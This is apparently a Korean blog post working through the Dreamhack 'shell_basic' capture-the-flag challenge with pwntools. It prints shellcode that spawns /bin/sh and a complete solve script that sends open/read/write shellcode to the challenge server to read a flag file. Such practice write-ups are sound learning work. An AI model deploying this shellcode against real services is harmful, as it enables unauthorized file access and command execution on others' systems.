shell_basic

minii_
|2024. 3. 27. 12:29
반응형

 

pwntools의 shellcraft를 사용해서 문제를 풀었다.

shellcraft는 pwnlib 라이브러리에서 제공되는 기능 중 하나이며, Python에서 pwntools 라이브러리를 사용하여 원격으로 취약한 서버에서 셸코드를 실행하는 것을 목표로 한다.

주로 pwntools의 일부로 사용되며, asm 모듈에서 사용자가 원하는 특정 어셈블리 코드를 생성하는데 유용하다.

shellcraft를 사용하면 특정 환경이나 요구에 맞는 쉘코드를 간단하게 생성할 수 있다.

 

from pwn import *

# x86_64 아키텍처에서 /bin/sh를 실행하는 쉘 코드 생성
shellcode = shellcraft.sh()

print(shellcode)

x86-64 아키텍터에서 /bin/sh를 실행하는 쉘 코드를 생성 기본 코드

 

from pwn import *

#원격으로 접속할 호스트 및 포트를 지정
p = remote("host3.dreamhack.games", 23122)
#셸코드를 생성할 때 사용할 아키텍처 설정
context.arch = "amd64"
#읽을 파일의 경로 지정
r = '/home/shell_basic/flag_name_is_loooooong'

#open - 지정된 파일을 열기 위한 셸코드 
shellcode = shellcraft.open(r)
#read - 열린 파일에서 데이터를 읽어오는 셸코드 
shellcode += shellcraft.read("rax", "rsp", 0x100)
#write - 읽은 데이터를 표준 출력하는 셸코드
shellcode += shellcraft.write(1, "rsp", 0x100)

#생성된 셸코드를 어셈블함
shellcode = asm(shellcode)
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())

원격으로 취약한 서버에 접속하여 셸코드를 실행하기 위한 코드 작성

파일을 열고, 읽고, 표준 출력하여 전송하는 기능을 수행한다.

 

rax : 파일 디스크립터를 저장할 레지스터

rsp : 읽은 데이터를 저장할 버퍼

반응형

'Dreamhack > System Hacking' 카테고리의 다른 글

Stack Buffer Overflow  (0) 2024.03.31
Calling Convention  (0) 2024.03.31
Shellcode  (0) 2024.03.27
Tool Installation - pwntools  (0) 2024.03.20
Tool Installation - gdb  (0) 2024.03.20